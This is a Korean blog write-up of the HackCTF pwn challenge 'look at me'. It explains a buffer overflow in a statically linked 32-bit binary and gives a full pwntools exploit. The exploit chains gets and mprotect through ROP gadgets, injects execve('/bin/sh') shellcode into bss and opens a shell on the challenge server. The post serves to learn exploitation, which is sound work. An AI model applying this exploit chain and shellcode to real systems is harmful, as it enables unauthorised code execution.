2021 SISS 21기 활동/여름방학 System
[HackCTF] look at me 풀이
hyerang0125
2021. 7. 15. 12:49
1. checksec
32bit 파일이고 NX와 Partial RELRO가 걸려있다. 지난주에 배웠던 SROP를 사용하여 문제를 풀어보자.
2. IDA
main() 함수
look_at_me() 함수
IDA를 통해 바이너리를 열어 보았는데 함수의 개수가 923개로 매우 많았다. 왜 그런지 리눅스 file 명령어를 통해 알아보자.
statically linked 파일은 필요한 모든 함수가 바이너리 안에 모두 내장되어 있다. 따라서 파일의 크기는 크지만 함수 주소를 쉽게 구할 수 있다. 그러나 system 함수는 존재하지 않기 때문에 다른 방법을 통해 "/bin/sh"를 실행시켜야 한다.
[새로운 개념 : mprotect]
mprotect 함수는 NX bit같은 특정 메모리 실행 권한을 변경할 수 있는 함수이다. 따라서 보호 기법이 걸려 있어도 사용자가 이 함수를 호출해 쉘 코드를 실행시킬 수 있는 환경을 만들 수 있다. 따라서 이 함수를 실행시키고 고정 주소인 bss 영역에 쉘 코드를 입력하면 된다.
주의해야 할 점은 mprotect의 인자가 권한을 변경할 시작 주소, 길이, rwx 권한인데 첫 번째 인자인 주소가 0x1000의 배수이어야 한다. 따라서 주소 뒤 3자리는 000이어야 한다.
3. 구해야 할 목록
- mprotect
- gets
- bss
mprotect의 주의할 점을 고려하여 bss의 주소로는 0x080eaf80 전인 0x080ea000부터 사용하면 된다.
- gadgets
- pop ebx; ret;
- pop esi; pop edi; pop ebp; ret;
Exploit Code
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3017)
#p = process('./lookatme')
mprotect = 0x0806e0f0
gets = 0x0804f120
bss = 0x080eaf80
bss_start = 0x080ea000
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
pr = 0x080583bf
pppr = 0x08091e77
p.recvline()
payload = 'A'*28
payload += p32(gets)
payload += p32(pr)
payload += p32(bss)
payload += p32(mprotect)
payload += p32(pppr)
payload += p32(bss_start)
payload += p32(0x2000)
payload += p32(0x7)
payload += p32(bss)
p.sendline(payload)
p.sendline(shellcode)
p.interactive()
성공했다!